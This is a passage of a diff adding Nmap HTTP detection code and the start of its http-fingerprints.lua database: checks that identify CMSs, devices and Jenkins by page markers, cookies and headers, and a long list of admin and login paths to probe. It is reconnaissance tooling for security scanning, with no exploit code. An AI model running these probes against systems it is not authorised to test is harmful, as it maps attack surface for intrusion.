+ Joomla = { rapidDetect = function(host, port)
+
+
+ -- Check for common traces in the source code.
+ local response = http.get(host, port, "/")
+
+ if response.body then
+ if string.find(response.body, "content=[\"']Joomla!") then
+ return "Joomla detected. Found common traces on /"
+ end
+ end
+
+ -- Check if the default login page exists.
+ response = http.get(host, port, "/administrator")
+
+ if response.body and string.find(response.body, "Joomla") then
+ return "Joomla detected. Found Joomla login page on /administrator/"
+ end
+
+ end,
+
+ consumingDetect = function(page, path)
+ if page and string.find(page, "content=[\"']Joomla!") then
+ return "Joomla detected. Found common traces on " .. page
+ end
+ end
+ },
+
+ Drupal = { rapidDetect = function(host, port)
+
+ -- Check for common traces in the source code.
+ local response = http.get(host, port, "/")
+
+ if response.body then
+ if string.find(response.body, "content=[\"']Drupal") then
+ return "Drupal detected. Found common traces on /"
+ end
+ end
+ end,
+
+ consumingDetect = function(page, path)
+ if page and string.find(page, "content=[\"']Drupal") then
+ return "Drupal detected. Found common traces on " .. page
+ end
+ end
+ },
+
+ MediaWiki = { rapidDetect = function(host, port)
+
+ -- Check for common traces in the source code.
+ local response = http.get(host, port, "/")
+
+ if response.body then
+ if string.find(response.body, "content=[\"']MediaWiki") or
+ string.find(response.body, "/mediawiki/") then
+ return "MediaWiki detected. Found common traces on /"
+ end
+ end
+ end,
+
+ consumingDetect = function(page, path)
+ if page and (string.find(page, "content=[\"']MediaWiki") or
+ string.find(page, "/mediawiki/")) then
+ return "MediaWiki detected. Found common traces on " .. page
+ end
+ end
+ },
+
+ ColdFusion = { rapidDetect = function(host, port)
+
+ local response = http.get(host, port, "/")
+
+ if response.cookies then
+ for _, c in pairs(response.cookies) do
+ if c.name == "cfid" or c.name == "cftoken" then
+ return "ColdFusion detected. Found " .. c.name .. " cookie."
+ end
+ end
+ end
+ end,
+
+ consumingDetect = function(page, path)
+ return
+ end
+ },
+
+ Broadvision = { rapidDetect = function(host, port)
+
+ local response = http.get(host, port, "/")
+
+ if response.cookies then
+ for _, c in pairs(response.cookies) do
+ if string.find(c.name, "bv_") then
+ return "Broadvision detected. Found " .. c.name .. " cookie."
+ end
+ end
+ end
+ end,
+
+ consumingDetect = function(page, path)
+ return
+ end
+ },
+
+ WebSphereCommerce = { rapidDetect = function(host, port)
+
+ local response = http.get(host, port, "/")
+
+ if response.cookies then
+ for _, c in pairs(response.cookies) do
+ if string.find(c.name, "wc_") then
+ return "WebSphere Commerce detected. Found " .. c.name .. " cookie."
+ end
+ end
+ end
+ end,
+
+ consumingDetect = function(page, path)
+ return
+ end
+ },
+
+ SPIP = { rapidDetect = function(host, port)
+
+ local response = http.get(host, port, "/")
+
+ if response and response.status == 200 then
+ local header_composed_by = response.header['composed-by']
+ -- Check in Composed-by header for the version
+ if header_composed_by ~= nil then
+ local version = string.match(header_composed_by, ('SPIP (%d+%.%d+%.%d+)'))
+ if version ~= nil then
+ return "Version of the SPIP install is " .. version
+ end
+ end
+ end
+ end,
+
+ consumingDetect = function(page, path)
+ return
+ end
+ },
+
+ Express = { rapidDetect = function(host, port)
+
+ local response = http.get(host, port, "/")
+
+ if response and response.status == 200 then
+ local header_x_powered_by = response.header['x-powered-by']
+ -- Check for 'X-Powered-By' Header
+ if header_x_powered_by == "Express" then
+ return string.format("Express detected. Found Express in X-Powered-By Header")
+ end
+ end
+ end,
+
+ consumingDetect = function(page, path)
+ return
+ end
+ },
+
+ Jenkins = { rapidDetect = function(host, port)
+
+ local response = http.get(host, port, "/")
+ local jenkins = {}
+
+ if response and ( response.status == 200 or response.status == 403 ) then
+ local header_x_jenkins = response.header['x-jenkins']
+ -- Check for 'X-Jenkins' Header
+ if header_x_jenkins ~= nil then
+ table.insert(jenkins, "Jenkins detected. Found Jenkins version " .. header_x_jenkins)
+ if response.header['x-hudson'] ~= nil then
+ table.insert(jenkins, "X-Hudson : " .. response.header['x-hudson'])
+ end
+ if response.header['x-hudson-cli-port'] ~= nil then
+ table.insert(jenkins, "X-Hudson-CLI-Port : " .. response.header['x-hudson-cli-port'])
+ end
+ if response.header['x-jenkins-cli-port'] ~= nil then
+ table.insert(jenkins, "X-Jenkins-CLI-Port : " .. response.header['x-jenkins-cli-port'])
+ end
+ if response.header['x-jenkins-cli2-port'] ~= nil then
+ table.insert(jenkins, "X-Jenkins-CLI2-Port : " .. response.header['x-jenkins-cli2-port'])
+ end
+ if response.header['x-jenkins-session'] ~= nil then
+ table.insert(jenkins, "X-Jenkins-Session : " .. response.header['x-jenkins-session'])
+ end
+ return jenkins
+ end
+ end
+ end,
+
+ consumingDetect = function(page, path)
+ return
+ end
+ },
+
+}
+
+
diff --git a/nselib/data/http-fingerprints.lua b/nselib/data/http-fingerprints.lua
new file mode 100644
index 0000000..e8d2c84
--- /dev/null
+++ b/nselib/data/http-fingerprints.lua
@@ -0,0 +1,12859 @@
+local io = require "io"
+local string = require "string"
+local table = require "table"
+
+---HTTP Fingerprint files, compiled by Ron Bowes with a special thanks to...
+-- o Kevin Johnson (@secureideas) for the fingerprints that come with Yokoso
+-- http://yokoso.inguardians.com
+-- o Jason H. (@jhaddix) for helping out with a whole pile of fingerprints he's
+-- collected
+-- o Bob Dooling
+-- o Robert Rowley for the awesome open source cms and README checks
+-- http://www.irvineunderground.org
+--
+-- This file is released under the Nmap license; see:
+-- https://nmap.org/book/man-legal.html
+--
+-- @args http-fingerprints.nikto-db-path Looks at the given path for nikto database.
+-- The database is expected to be a CSV file structured as nikto "db_tests".
+-- It then converts the records in nikto's database into our Lua table format
+-- and adds them to our current fingerprints if they don't exist already.
+-- Unfortunately, our current implementation has some limitations:
+-- * It doesn't support records with more than one 'dontmatch' patterns for
+-- a probe.
+-- * It doesn't support logical AND for the 'match' patterns.
+-- * It doesn't support sending additional headers for a probe.
+-- That means, if a nikto fingerprint needs one of the above features, it
+-- won't be loaded. At the time of writing this, 6546 out of the 6573 Nikto
+-- fingerprints are being loaded successfully. This runtime Nikto fingerprint integration was suggested by Nikto co-author Chris Sullo as described at http://seclists.org/nmap-dev/2013/q4/292
+--
+-- Although this format was originally modeled after the Nikto format, that ended
+-- up being too restrictive. The current format is a simple Lua table. There are many
+-- advantages to this technique; it's powerful, we don't need to write custom parsing
+-- code, anybody who codes in Lua can easily add checks, and we can write converters
+-- to read Nikto and other formats if we want to.
+--
+-- The 'fingerprints' table is the key. It's an array of checks that will be run in the
+-- order they're given. Each check consists of a path, zero or more matches, output text,
+-- and other optional fields. Here are all the currently defined fields:
+--
+-- fingerprint.probes
+-- A list of one or more probes to send to the server. Each probe is either a table containing
+-- the key 'path' (and potentially others), or it's a string indicating the path.
+--
+-- fingerprint.probes[i].path
+-- The URI to check, optionally containing GET arguments. This should start with a '/'
+-- and, if it's a directory, end with a '/'.
+--
+-- fingerprint.probes[i].method [optional; default: 'GET'}}]
+-- The HTTP method to use when making requests ('GET'}}, 'POST', 'HEAD', 'PUT', 'DELETE', etc
+--
+-- fingerprint.probes[i].nopipeline [optional; default: false]
+-- Do not use HTTP pipelining to send this request.
+--
+-- fingerprint.probes[i].options [optional]
+-- An options table as defined in http.lua. Can be used to provide POST data or
+-- override defaults. Note that when HTTP pipelining is used, not all of these
+-- options will be used.
+--
+-- fingerprint.ignore_404 [optional; default: false]
+-- If set, the automatic checks for 404 and custom 404 pages are disabled for that check.
+-- Every page will be included unless fingerprint.matches.dontmatch excludes it.
+--
+-- fingerprint.severity [optional; default: 1]
+-- Give a severity rating, if it's a vulnerability. The scale is:
+-- 1 - Info
+-- 2 - Low priority
+-- 3 - Warning
+-- 4 - Critical
+--
+-- fingerprint.matches
+-- An array of tables, each of which contains three fields. These will be checked, starting
+-- from the first, until one is matched. If there is no 'match' text, it will fire as long
+-- as the result isn't a 404. This match is not case sensitive.
+--
+-- fingerprint.matches[i].match
+-- A string (specifically, a Lua pattern) that has to be found somewhere in the output to
+-- count as a match. The string can be in the status line, in a header, or in the body.
+-- In addition to matching, this field can contain captures that'll be included in the
+-- output. See: http://lua-users.org/wiki/PatternsTutorial
+--
+-- fingerprint.matches[i].dontmatch
+-- A string (specifically, a lua pattern) that cannot be found somewhere in the output.
+-- This takes precedence over any text matched in the 'match' field
+--
+-- fingerprint.matches[i].output
+-- The text to output if this match happens. If the 'match' field contains captures, these
+-- captures can be used with \1, \2, etc.
+--
+-- If you have any questions, feel free to email dev@nmap.org or contact Ron Bowes!
+--
+-- CHANGELOG:
+-- Added 120 new signatures taken from exploit-db.com archives from July 2009 to July 2011 [Paulino Calderon]
+-- Added the option to read nikto's database and make use of its fingerprints. [George Chatzisofroniou]
+--
+
+fingerprints = {};
+
+------------------------------------------------
+---- GENERAL CHECKS ----
+------------------------------------------------
+-- These are checks for generic paths, like /wiki, /images, /admin, etc
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/',
+ method = 'GET'
+ }
+ },
+ matches = {
+ {
+ match = '<title>Index of .*(Apache.*) Server at',
+ output = 'Root directory w/ listing on \'\\1\''
+ },
+ {
+ match = '<title>Index of',
+ output = 'Root directory w/ directory listing'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/blog/',
+ method = 'HEAD'
+ },
+ {
+ path = '/weblog/',
+ method = 'HEAD'
+ },
+ {
+ path = '/weblogs/',
+ method = 'HEAD'
+ },
+ {
+ path = '/wordpress/',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ output = 'Blog'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/wiki/',
+ method = 'HEAD'
+ },
+ {
+ path = '/mediawiki/',
+ method = 'HEAD'
+ },
+ {
+ path = '/wiki/Main_Page',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ output = 'Wiki'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/tikiwiki/',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ output = 'Tikiwiki'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/cgi-bin/mj_wwwusr',
+ method = 'HEAD'
+ },
+ {
+ path = '/majordomo/mj_wwwusr',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Majordomo2 Mailing List'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/j2ee/examples/servlets/',
+ method = 'HEAD'
+ },
+ {
+ path = '/j2ee/examples/jsp/',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Oracle j2ee examples'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/dsc/',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Trend Micro Data Loss Prevention Virtual Appliance'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/reg_1.htm',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Polycom IP phone'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/adr.htm',
+ method = 'HEAD'
+ },
+ {
+ path = '/line_login.htm?l=1',
+ method = 'HEAD'
+ },
+ {
+ path = '/tbook.csv',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Snom IP Phone'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/globalSIPsettings.html',
+ method = 'HEAD'
+ },
+ {
+ path = '/SIPsettingsLine1.html',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Aastra IP Phone'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/websvn/',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'WEBSVN Repository'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/repos/',
+ method = 'GET'
+ },
+ {
+ path = '/repo/',
+ method = 'GET'
+ },
+ {
+ path = '/svn/',
+ method = 'GET'
+ },
+ {
+ path = '/cvs/',
+ method = 'GET'
+ }
+ },
+ matches = {
+ {
+ match = 'realm=".-Subversion.-"',
+ output = 'Subversion Repository'
+ },
+ {
+ match = '',
+ output = 'Possible code repository'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/archiva/index.action',
+ method = 'GET'
+ },
+ {
+ path = '/index.action',
+ method = 'GET'
+ }
+ },
+ matches = {
+ {
+ match = '.*">Apache Archiva (.-)</a>',
+ output = 'Apache Archiva version \\1'
+ },
+ {
+ match = 'Apache Archiva (%d-%..-)\n',
+ output = 'Apache Archiva version \\1'
+ },
+ {
+ match = '<title>Apache Archiva \\',
+ output = 'Apache Archiva'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/login.stm',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Belkin G Wireless Router'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/tools_admin.php',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'D-Link DIR-300'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/bsc_lan.php',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'D-Link DIR-300, DIR-320, DIR-615 revD'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/Manage.tri',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Linksys WRT54G2'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/logo_t.gif',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = 'IP_SHARER WEB',
+ output = 'Belkin/Arris 2307'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '//system.html',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'CMNC-200 IP Camera'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/main_configure.cgi',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Intellinet IP Camera'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/OvCgi/Toolbar.exe',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'HP OpenView Network Node Manager'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/frontend/x3/',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'CPanel'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/awstatstotals/awstatstotals.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/awstats/awstatstotals.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/awstatstotals.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/awstats/index.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/awstatstotals/index.php',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'AWStats Totals'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/egroupware/',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'eGroupware'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/calendar/cal_search.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/cal_search.php',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'ExtCalendar'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/a_viewusers.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/aphpkb/',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Andys PHP Knowledgebase'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/webedition/we/include/we_modules/',
+ method = 'HEAD'
+ },
+ {
+ path = '/webedition/',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Web Edition'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/Examples/',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Possible documentation files'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/LightNEasy.php?do=login',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'LightNEasy'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/channel_detail.php',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'DzTube'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/cgi-bin/vcs',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Mitel Audio and Web Conferencing (AWC)'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/ocsreports/',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'OCS Inventory'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/vbseo.php',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'vBSEO'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/forum/',
+ method = 'HEAD'
+ },
+ {
+ path = '/forums/',
+ method = 'HEAD'
+ },
+ {
+ path = '/smf/',
+ method = 'HEAD'
+ },
+ {
+ path = '/phpbb/',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ output = 'Forum'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/manager/',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/admin/',
+ method = 'HEAD'
+ },
+ {
+ path = '/administrator/',
+ method = 'HEAD'
+ },
+ {
+ path = '/moderator/',
+ method = 'HEAD'
+ },
+ {
+ path = '/webadmin/',
+ method = 'HEAD'
+ },
+ {
+ path = '/adminarea/',
+ method = 'HEAD'
+ },
+ {
+ path = '/bb-admin/',
+ method = 'HEAD'
+ },
+ {
+ path = '/adminLogin/',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin_area/',
+ method = 'HEAD'
+ },
+ {
+ path = '/panel-administracion/',
+ method = 'HEAD'
+ },
+ {
+ path = '/instadmin/',
+ method = 'HEAD'
+ },
+ {
+ path = '/memberadmin/',
+ method = 'HEAD'
+ },
+ {
+ path = '/administratorlogin/',
+ method = 'HEAD'
+ },
+ {
+ path = '/adm/',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/account.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/index.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/login.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/admin.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/joomla/administrator',
+ method = 'HEAD'
+ },
+ {
+ path = '/login.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin_area/admin.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin_area/login.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/siteadmin/login.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/siteadmin/index.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/siteadmin/login.html',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/index.html',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/login.html',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/admin.html',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin_area/index.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/bb-admin/index.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/bb-admin/login.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/bb-admin/admin.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/home.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin_area/login.html',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin_area/index.html',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/controlpanel.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/admincp/',
+ method = 'HEAD'
+ },
+ {
+ path = '/admincp/index.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/admincp/index.html',
+ method = 'HEAD'
+ },
+ {
+ path = '/admincp/login.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/account.html',
+ method = 'HEAD'
+ },
+ {
+ path = '/adminpanel.html',
+ method = 'HEAD'
+ },
+ {
+ path = '/webadmin.html',
+ method = 'HEAD'
+ },
+ {
+ path = '/webadmin/index.html',
+ method = 'HEAD'
+ },
+ {
+ path = '/webadmin/admin.html',
+ method = 'HEAD'
+ },
+ {
+ path = '/webadmin/login.html',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/admin_login.html',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin_login.html',
+ method = 'HEAD'
+ },
+ {
+ path = '/panel-administracion/login.html',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/cp.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/cp.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/administrator/index.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/administrator/login.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/nsw/admin/login.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/webadmin/login.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/admin_login.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin_login.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/administrator/account.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/administrator.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin_area/admin.html',
+ method = 'HEAD'
+ },
+ {
+ path = '/pages/admin/admin-login.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/admin-login.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin-login.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/bb-admin/index.html',
+ method = 'HEAD'
+ },
+ {
+ path = '/bb-admin/login.html',
+ method = 'HEAD'
+ },
+ {
+ path = '/bb-admin/admin.html',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/home.html',
+ method = 'HEAD'
+ },
+ {
+ path = '/modelsearch/login.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/moderator.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/moderator/login.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/moderator/admin.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/account.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/pages/admin/admin-login.html',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/admin-login.html',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin-login.html',
+ method = 'HEAD'
+ },
+ {
+ path = '/controlpanel.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/admincontrol.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/adminLogin.html',
+ method = 'HEAD'
+ },
+ {
+ path = '/adminLogin.html',
+ method = 'HEAD'
+ },
+ {
+ path = '/home.html',
+ method = 'HEAD'
+ },
+ {
+ path = '/rcjakar/admin/login.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/adminarea/index.html',
+ method = 'HEAD'
+ },
+ {
+ path = '/adminarea/admin.html',
+ method = 'HEAD'
+ },
+ {
+ path = '/webadmin.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/webadmin/index.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/webadmin/admin.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/controlpanel.html',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin.html',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/cp.html',
+ method = 'HEAD'
+ },
+ {
+ path = '/cp.html',
+ method = 'HEAD'
+ },
+ {
+ path = '/adminpanel.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/moderator.html',
+ method = 'HEAD'
+ },
+ {
+ path = '/administrator/index.html',
+ method = 'HEAD'
+ },
+ {
+ path = '/administrator/login.html',
+ method = 'HEAD'
+ },
+ {
+ path = '/user.html',
+ method = 'HEAD'
+ },
+ {
+ path = '/administrator/account.html',
+ method = 'HEAD'
+ },
+ {
+ path = '/administrator.html',
+ method = 'HEAD'
+ },
+ {
+ path = '/login.html',
+ method = 'HEAD'
+ },
+ {
+ path = '/modelsearch/login.html',
+ method = 'HEAD'
+ },
+ {
+ path = '/moderator/login.html',
+ method = 'HEAD'
+ },
+ {
+ path = '/adminarea/login.html',
+ method = 'HEAD'
+ },
+ {
+ path = '/panel-administracion/index.html',
+ method = 'HEAD'
+ },
+ {
+ path = '/panel-administracion/admin.html',
+ method = 'HEAD'
+ },
+ {
+ path = '/modelsearch/index.html',
+ method = 'HEAD'
+ },
+ {
+ path = '/modelsearch/admin.html',
+ method = 'HEAD'
+ },
+ {
+ path = '/admincontrol/login.html',
+ method = 'HEAD'
+ },
+ {
+ path = '/adm/index.html',
+ method = 'HEAD'
+ },
+ {
+ path = '/adm.html',
+ method = 'HEAD'
+ },
+ {
+ path = '/moderator/admin.html',
+ method = 'HEAD'
+ },
+ {
+ path = '/user.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/account.html',
+ method = 'HEAD'
+ },
+ {
+ path = '/controlpanel.html',
+ method = 'HEAD'
+ },
+ {
+ path = '/admincontrol.html',
+ method = 'HEAD'
+ },
+ {
+ path = '/panel-administracion/login.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/wp-login.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/wp-json',
+ method = 'HEAD'
+ },
+ {
+ path = '/adminLogin.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/adminLogin.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/adminarea/index.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/adminarea/admin.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/adminarea/login.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/panel-administracion/index.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/panel-administracion/admin.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/modelsearch/index.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/modelsearch/admin.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/admincontrol/login.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/adm/admloginuser.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/admloginuser.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin2.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin2/login.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin2/index.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/adm/index.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/adm.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/affiliate.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/adm_auth.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/memberadmin.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/administratorlogin.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/account.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/account.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/index.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/login.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/admin.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/admin_login.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin_login.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/adminpanel.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/controlpanel.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/admincontrol.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/panel-administracion/login.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/cp.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/pages/admin/admin-login.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/admincp/index.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/admincp/login.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin_area/admin.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin_area/login.cfm',
